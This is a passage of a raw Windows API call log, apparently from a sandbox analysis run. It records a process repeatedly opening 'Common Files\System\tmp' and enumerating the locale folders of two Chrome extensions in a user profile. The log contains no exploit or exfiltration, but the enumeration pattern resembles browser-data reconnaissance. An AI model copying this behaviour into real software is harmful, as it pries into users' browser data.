ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2a745, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.523] AreFileApisANSI () returned 1 [0133.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.523] GetFileType (hFile=0x19c) returned 0x1 [0133.523] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2a849, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.523] AreFileApisANSI () returned 1 [0133.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.524] GetFileType (hFile=0x19c) returned 0x1 [0133.524] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2a94d, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.524] AreFileApisANSI () returned 1 [0133.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.524] GetFileType (hFile=0x19c) returned 0x1 [0133.524] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2aa51, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.524] AreFileApisANSI () returned 1 [0133.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.524] GetFileType (hFile=0x19c) returned 0x1 [0133.524] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2ab55, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.524] AreFileApisANSI () returned 1 [0133.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.525] GetFileType (hFile=0x19c) returned 0x1 [0133.525] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2ac59, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.525] AreFileApisANSI () returned 1 [0133.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.525] GetFileType (hFile=0x19c) returned 0x1 [0133.525] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2ad5d, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.525] AreFileApisANSI () returned 1 [0133.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.525] GetFileType (hFile=0x19c) returned 0x1 [0133.525] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2b000, nFileSizeHigh=0x0, nFileSizeLow=0x2ae64, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.525] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0133.526] GetLastError () returned 0x12 [0133.526] AreFileApisANSI () returned 1 [0133.526] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0133.526] GetFileType (hFile=0x198) returned 0x1 [0133.527] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x2b000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2af6b, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0133.527] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0133.527] GetLastError () returned 0x12 [0133.527] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0133.527] GetLastError () returned 0x12 [0133.527] AreFileApisANSI () returned 1 [0133.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0133.527] GetFileType (hFile=0x190) returned 0x1 [0133.527] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x22d, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0133.527] AreFileApisANSI () returned 1 [0133.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0133.528] GetFileType (hFile=0x194) returned 0x1 [0133.528] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0133.650] AreFileApisANSI () returned 1 [0133.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0133.650] GetFileType (hFile=0x198) returned 0x1 [0133.650] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8402f010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422fb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422fb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0133.697] AreFileApisANSI () returned 1 [0133.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.697] GetFileType (hFile=0x19c) returned 0x1 [0133.697] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2c000, nFileSizeHigh=0x0, nFileSizeLow=0x2b352, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.698] AreFileApisANSI () returned 1 [0133.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.698] GetFileType (hFile=0x19c) returned 0x1 [0133.698] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2c000, nFileSizeHigh=0x0, nFileSizeLow=0x2b454, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.698] AreFileApisANSI () returned 1 [0133.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.698] GetFileType (hFile=0x19c) returned 0x1 [0133.698] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2c000, nFileSizeHigh=0x0, nFileSizeLow=0x2b556, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.698] AreFileApisANSI () returned 1 [0133.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.698] GetFileType (hFile=0x19c) returned 0x1 [0133.698] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2c000, nFileSizeHigh=0x0, nFileSizeLow=0x2b658, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.699] AreFileApisANSI () returned 1 [0133.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.699] GetFileType (hFile=0x19c) returned 0x1 [0133.699] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2c000, nFileSizeHigh=0x0, nFileSizeLow=0x2b75a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.699] AreFileApisANSI () returned 1 [0133.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.699] GetFileType (hFile=0x19c) returned 0x1 [0133.699] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2c000, nFileSizeHigh=0x0, nFileSizeLow=0x2b85c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.699] AreFileApisANSI () returned 1 [0133.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.699] GetFileType (hFile=0x19c) returned 0x1 [0133.700] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2c000, nFileSizeHigh=0x0, nFileSizeLow=0x2b95e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.700] AreFileApisANSI () returned 1 [0133.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.700] GetFileType (hFile=0x19c) returned 0x1 [0133.700] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2c000, nFileSizeHigh=0x0, nFileSizeLow=0x2ba60, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.700] AreFileApisANSI () returned 1 [0133.700] 